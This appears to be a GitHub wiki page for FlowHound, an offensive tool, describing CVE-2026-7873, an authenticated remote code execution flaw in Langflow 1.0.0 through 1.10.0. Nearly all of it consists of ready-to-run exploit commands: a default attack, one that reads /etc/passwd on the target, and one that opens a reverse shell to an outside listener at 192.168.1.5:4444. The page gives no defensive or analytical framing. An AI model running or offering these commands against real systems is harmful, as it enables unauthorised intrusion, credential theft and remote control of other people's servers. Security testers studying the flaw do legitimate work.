CVE‐2026‐7873 | Langflow Authenticated RCE Vulnerability - rmhowe425/FlowHound GitHub Wiki
CVE Description
CVE Description: Authenticated remote code execution vulnerability that allows an attacker to execute arbitrary code and read sensitive files including credentials, enabling complete system compromise and lateral movement.
Impacted Versions: Versions 1.0.0 through 1.10.0
Exploit Module
Default Mode
flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873
Execute Bash Command
flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873 --command "cat /etc/passwd"
Reverse TCP Persistent Connection
flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873 --reverse_shell 192.168.1.5:4444